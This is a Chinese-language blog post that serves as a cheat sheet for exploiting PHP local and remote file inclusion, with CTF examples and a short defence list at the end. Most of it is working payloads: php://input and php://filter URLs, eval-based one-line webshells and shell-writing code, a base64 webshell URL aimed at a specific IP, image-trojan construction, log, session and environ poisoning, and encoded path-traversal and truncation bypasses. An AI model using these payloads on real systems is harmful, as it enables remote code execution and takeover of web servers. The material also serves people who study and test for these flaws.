文件包含漏洞总结都在这里了

一、文件包含与伪协议

什么是文件包含

通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。未经检验,文本当代码使用。

环境要求

  • allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
  • allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

造成原因

常见导致文件包含的函数

  • PHP: include(), include_once(), require(),require_once(),fopen(),readfile()等。
  • JSP Servlet:ava.io.File()java.io.FileReader()等函数
  • ASP:includefile,includevirtual
函数释义
include()找不到被包含的文件时只会产生一个(E_warinng)警告,脚本将继续执行;
include_once()引用一次,找不到path会发出警告
require()找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本
require_once()与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含;
fopen()打开一个文件
readfile(filename)读取文件并输出到缓冲区

require和include都支持相对或绝对路径。

利用前提条件

  1. 源代码中应用到了include等文件包含函数,并且需要包含的文件路径是通过用户传参的方式引入。
  2. 用户能够控制包含文件的参数,被包含的文件可被当前页面访问。
<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun/'.$file.'.php')) {
  include '/home/wwwrun/'.$file.'.php';
}
?>

如上代码,file变量为用户输入变量,如果满足第二条被包含的文件可被访问,则存在文件包含漏洞

特征

  1. 文件包含不仅可以包含脚本类型的文件,也可包含非脚本类型的文件
  2. 文件包含可以包含任意文件 ===》检测文件内容是否能被解析执行
  3. -----xx.com/xxxx/xxx.php?file=xx.txt,xx.txt 文件写入 <?php phpinfo(); ?> 文件内包含php代码,应该会被打印在屏幕上
  4. 变量的值为一个页面,?page=a.php

PHP声明语法

  • <?php phpinfo(); ?>
  • <? phpinfo(); ?>
  • <script language="php">phpinfo();</script>

利用思路

  1. 上传文件中包含一句话木马========》任意类型文件(可以上传的文件类型)

  2. 调用文件包含的参数用户可控

  3. 文件上传的功能+文件包含漏洞

    =======》文件包含功能去包含带有一句话木马的恶意文件

    =======》shell.jpg < <?php @eval($_POST['cmd']);?>

    =======》include(‘shell.jpg’)

二、本地文件包含

0x01、php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

1.利用条件:
  1. allow_url_include = On。
  2. 对allow_url_fopen不做要求。

示例代码

<?php

    $page = $_GET['file'];

    include($file);

?>
2.poc
?file=php://input

post:
<?php phpinfo()?>
命令执行
<?php system("ls"); ?>

poc如下图所示

22dc6585fc6123b4a8132b034d6d5893.png

利用php://input还可以写入php木马,在post中传入如下代码

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
3.例题

题目链接:https://ctf.show/challenges#web3-8
web3-8文件包含

0x02、php://filter

php://filter是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用。这对于一体式(all-in-one)的文件函数非常有用,类似readfile()、file()、file_get_contens(),在数据流内容读取之前没有机会应用其他过滤器,此类伪协议在文件包含漏洞的考察中很常见。

示例代码

<?php $page = $GET['file']; include($file.'php'); ?>
1.poc

4fd855045fd577cc57bc121d51b1144f.png

php://filter/convert.base64-encode/resource=index

如果不用base64进行编码,包含的内容是index.php的源代码,会直接运行,不可直接查看内容,进行base64编码之后读取,然后再本地解码即可。此处需记得PD9开头的base64编码为<?php.

当然php://filter也可用来写

php://filter/write/convert.base64-decode/resource=shell.php,可以配合file_put_contents使用,

<?file_put_contents("php://filter/write/convert.base64-decode/resource=shell.php","PD9waHAgcGhwaW5mbygpPz4=");?>
2.example
 <?php
$c = "<?php exit;?>";
@$c.=$_GET['c'];
@$filename = $_GET['file'];
if(preg_match("/index/",$filename)){
        die("U Think Toooo000000000000o MUCH!");
    }
if(preg_match("/flag/",$filename)){
        die("U Think Toooo000000000000o MUCH!");
    }
@file_put_contents($filename, $c);
@highlight_file('index.php');
@highlight_file($filename);
?> 

poc

http://96.45.183.46:7002/lfi_bypass/?c=aPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=&file=php://filter/write/convert.base64-decode/resource=234.php

3.tips

当源码为include($file.'php');时,poc最后只需要写index即可,当源码为include($file);时,poc需填写index.php

php://filter妙用

# index.php
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>
#flag.php
    
<?php phpinfo();
# flag{this is flag}
?> 

c4b3863cf7a4eab1f40ecd42a3cc5b31.png

base64解码获取flag

0x03、zip://

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。与phar://类似。区别为,压缩包中的子文件读取使用#而不是/

1.tips
  • zip://中只能传入绝对路径。
  • 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
  • 只需要是zip的压缩包即可,后缀名可以任意更改。
  • 相同的类型的还有zlib://和bzip2://
2.poc
zip://[压缩包绝对路径]#[压缩包内文件]
?file=zip://D:\zip.jpg %23 phpinfo.php
3.测试注意事项

条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php

0x04、phar://

1.适用场景:
  1. 可以上传文件,但不能直接getshell。
  2. 存在文件包含漏洞

示例代码:

<?php
    $page = $_GET['page'];
    include($page);
?>
2.解决过程(poc)

首先创建压缩包。tar -cvf 111.phar shell.php,上传之后,文件包含。

payload:http://127.0.0.1:8800/admin.php?page=phar://111.phar/shell.php

0x05、data://

  • ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

  • ?file=data://text/plain,

0x06、包含Apache日志文件

WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。

利用条件
  • 对日志可读
  • 知道日志文件的存储目录
tips
  • 一般情况下日志存储的目录会被修改,需要读取服务器配置文件(httpd.conf,nginx.conf…)或者根据phpinfo()中的信息来得知
  • 日志记录的信息都可以被调整,比如记录报错的等级或者内容格式

Apache运行后一般默认会生成两个日志文件

  • windows:access.log(访问日志) error.log(错误日志)
  • linux: access_log error_log
攻击流程(poc)
  1. 访问一个不存在的资源时,如http://www.xxxx.com/<?php phpinfo(); ?>,此时这段代码会被记录在日志中。代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件
  2. 通过包含日志文件来执行此代码。需知道apache日志文件的存储路径

0x07、包含environ (user-agent)

/proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

利用条件:

  1. php以cgi方式运行,这样environ才会保持UA头。
  2. environ文件存储位置已知,且environ文件可读。

查看php运行方式需查看此处,正常是这种情况
546e837547f27d0c24181d074085f4a4.png
php以cgi方式运行如下
66ce39f9addb32a6197fcc8ac316c18b.png

0x08、包含session文件

可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。

利用条件
  • 找到Session内的可控变量

  • session文件路径已知,且其中内容部分可控。

php的session文件的保存路径可以在phpinfo的session.save_path看到。
f2193f8f2276d7e6edfc9f09acc53f4a.png

常见的php-session存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID
tips
  • session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

  • Php7.3之前的版本可以用session_id

  • 要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

示例
<?php

session_start();

$ctfs=$_GET['ctfs'];

$_SESSION["username"]=$ctfs;

?>

session_start()解释:

  1. session的工作原理

    1. 首先使用session_start()函数进行初始换
    2. 当执行PHP脚本时,通过使用SESSION超全局变量注册session变量。
    3. 当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.savepath指定,下次浏览网页时可以加载使用。
  2. sessionstart()做了哪些初始化工作

    1. 读取名为PHPSESSID(如果没有改变默认值)的cookie值,假使为abc123

    2. 若读取到PHPSESSID这个COOKIE,创建SESSION变量,并从相应的目录中(可以再php.ini中设置)读取SESSabc123(默认是这种命名方式)文件,将字符装在入SESSION变量中;若没有读取到PHPSESSID这个COOKIE,也会创建_SESSION超全局变量注册session变量。同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器端。

例题

“百度杯”CTF比赛 十二月场 notebook

0x09、LFI + session.upload_progress

  • 利用条件:

    1. session.upload_progress.enabled = on
    2. 存在文件包含的点(不需要上传点)
  • 漏洞原理:

    Session upload progress在打开的情况下,如果上传一个与session.upload_progress.name 同名的变量,会生成一个记录上传进度的文件,该文件存储在/var/lib/php/sessions/session_{php session id}

    session.upload_progress.cleanup
    这个变量是用来控制进度文件的清除的,如果设成on的话啊,需要进行条件竞争。

0x10、包含临时文件

a0227f75d07be8e41d4e127015924683.png

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance

类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题:XMAN夏令营-2017-babyweb-writeup

0x11、包含上传文件

如果上传功能限制很死,可上传一个含小马的非脚本文件(或 通过FTP等手段),在通过包含漏洞执行该文件里的小马。

图片马的制作方式如下,在cmd控制台下输入:

进入1.jph和2.php的文件目录后,执行:

copy  1.jpg/b+2.php  3.jpg

将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg

假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
图片代码如下:

shell1
<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>
shell2
file_put_contents(文件名,文件内容);

file_put_contents("shell.php","<?php phpinfo()?>");
# 将小马base64编码后运用php://filter写入shell.php

<?file_put_contents("php://filter/write/convert.base64-decode/resource=shell.php","PD9waHAgcGhwaW5mbygpPz4=");?>


然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php

0x12、LFI + 文件上传 + 条件竞争

  • 利用条件:

    1. 文件包含点
    2. phpinfo页面
  • 漏洞原理:

    在php文件上传的时候,会针对上传的文件产生一个临时文件(一般在/tmp目录下),当用户确认了文件的上传后,会把该文件移动到指定的位置。而这个文件的文件名可以通过phpinfo页面看到,进一步地,可以使用文件包含包含他(需要条件竞争)。

    但是,我们不能等到phpinfo完全返回后再去文件包含,因为那个时候临时文件已经删除了,因此我们需要在socket底层对数据进行监听,一旦出现/tmp/xxxx,就立即发送文件包含的攻击payload。

0x13、LFI_self

  • 利用条件:

    1. 文件包含点
    2. 目录遍历tmp目录
  • 漏洞原理:

    比如该url存在文件包含漏洞:http://ip:port/file.php?file=1.txt,那么,直接包含自身会造成无限循环:http://ip:port/file.php?file=file.php。如果向该无限循环的地址put上传文件,则产生临时文件,该临时文件会在该php文件正常结束时被删除,但提交的请求造成了死循环,php会清空自己的内存堆栈,以便从错误中恢复过来,这时对临时文件的删除操作就无法完成,当跳出这个周期后,这个临时文件形式保存在/tmp目录下了。结合目录遍历+文件包含的漏洞组合即可利用。

三、远程文件包含

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置

  1. allow_url_fopen = On
  2. allow_url_include = On

两个配置选项均需要为On,才能远程包含文件成功。

在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

?file=[http|https|ftp]://example.com/shell.txt

一句话木马:

<?php print_r(scandir('.'));?>

四、文件包含漏洞的绕过方法

0x01、指定前缀绕过

一、目录遍历(常见)

使用 …/…/ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=…/…/phpinfo/phpinfo.php
测试代码如下:

<?php
	error_reporting(0);
	$file = $_GET["file"];
	//前缀
	include "/var/www/html/".$file;

	highlight_file(__FILE__);
?>

现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:

则服务器端实际拼接出来的路径为:/var/www/html/…/…/log/test.txt,即 /var/log/flag.txt,从而包含成功。

二、编码绕过

服务器端常常会对于…/等做一些过滤,可以用一些编码来进行绕过。

  1. 利用url编码
  • …/

    • %2e%2e%2f
    • …%2f
    • %2e%2e/
  • …\

    • %2e%2e%5c
    • …%5c
    • %2e%2e\
  1. 二次编码
  • …/
    • %252e%252e%252f
  • …\
    • %252e%252e%255c
  1. 容器/服务器的编码方式
  • …/
    • …%c0%af
    • %c0%ae%c0%ae/
      • 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
        Apache Tomcat Directory Traversal
  • …\
    • …%c1%9c

0x02、指定后缀绕过

后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:

<?php
	error_reporting(0);
	$file = $_GET["file"];
	//后缀
	include $file.".txt";

	highlight_file(__FILE__);
?>
一、利用url

在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。

完整url格式:

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

query(?)

  • [访问参数] ?file=http://localhost:8081/phpinfo.php?
  • [拼接后]  ?file=http://localhost:8081/phpinfo.php?.txt
二、利用协议

利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。

zip://

  • [访问参数] ?file=zip://D:\zip.jpg%23phpinfo

  • [拼接后]  ?file=zip://D:\zip.jpg#phpinfo.txt

phar://

  • [访问参数]?file=phar://zip.zip/phpinfo
  • [拼接后]  ?file=phar://zip.zip/phpinfo.txt

0x03、长度截断

利用条件:

php版本 < php 5.2.8

原理:

Windows下目录最大长度为256字节,超出的部分会被丢弃
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
利用方法:

只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)

  ?file=./././。。。省略。。。././shell.php

则指定的后缀.txt会在达到最大值后会被直接丢弃掉

0x04、%00截断

利用条件:

  • magic_quotes_gpc = Off
  • php版本 < php 5.3.4

利用方法:

  • 直接在文件名的最后加上%00来截断指定的后缀名

      ?file=shell.php%00
    

注:现在用到%00阶段的情况已经不多了

五、文件包含漏洞防御

  • allow_url_include和allow_url_fopen最小权限化
  • 设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)
  • 白名单限制包含文件,或者严格过滤 . / *
  • 8
    点赞
  • 49
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
文件包含(LFI)和远程文件包含(RFI)是一种常见的安全漏洞,允许攻击者在应用程序中包含恶意文件或代码。LFI漏洞是指应用程序中允许用户通过文件包含功能来读取本地文件的漏洞。而RFI漏洞则是指应用程序中允许用户通过远程URL来包含外部文件的漏洞。这两种漏洞都可能导致攻击者获取敏感信息或者执行恶意代码。 伪协议编码算法是一种常见的技术,用于绕过安全控制并执行特定的操作。在这里提到的伪协议包括"php://filter"和"convert.base64-encode/decode"。通过使用这些伪协议,攻击者可以对文件进行编码和解码,从而绕过安全限制。 代码审计是一种评估应用程序源代码的过程,旨在发现潜在的安全漏洞和其他问题。通过仔细分析应用程序的代码,可以确定是否存在可能导致文件包含漏洞或其他安全问题的缺陷。 总结起来,文件包含漏洞和远程文件包含漏洞是一种常见的安全漏洞,可以通过伪协议编码算法来绕过安全限制。代码审计是一种评估应用程序源代码的方法,可以帮助发现和修复这些漏洞。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [WEB攻防-通用漏洞&文件包含&LFI&RFI&伪协议编码算法&代码审计](https://blog.csdn.net/m0_65336233/article/details/127363413)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [day42 文件包含&LFI&RFI&伪协议编码算法&代码审计](https://blog.csdn.net/hesysd/article/details/128248212)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值